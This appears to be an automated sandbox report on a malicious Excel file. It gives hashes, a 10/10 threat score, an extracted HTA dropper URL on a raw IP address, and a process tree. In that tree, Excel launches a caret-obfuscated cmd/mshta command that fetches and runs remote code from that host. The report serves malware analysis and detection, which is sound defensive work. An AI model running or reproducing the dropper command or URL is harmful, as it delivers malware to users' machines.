Analysis

  • max time kernel
    122s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 17:46

General

  • Target

    088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls

  • Size

    64KB

  • MD5

    a10dd8119334b7870a703ada55cb4cd7

  • SHA1

    d25ca7d806afbaeb28915b1938380e3861dc23ba

  • SHA256

    088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940

  • SHA512

    33958baffd9da228313a3b5e25dc54060de84d154e3648494fffe7a02d388e86bcbed91511c89299a13b33657c8b26664f32d75e84834c337e5d9c2380bcbf7e

  • SSDEEP

    1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://87.251.86.178/pp/cc.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2168

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/3012-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/3012-1-0x000000007222D000-0x0000000072238000-memory.dmp

    Filesize

    44KB

  • memory/3012-11-0x000000007222D000-0x0000000072238000-memory.dmp

    Filesize

    44KB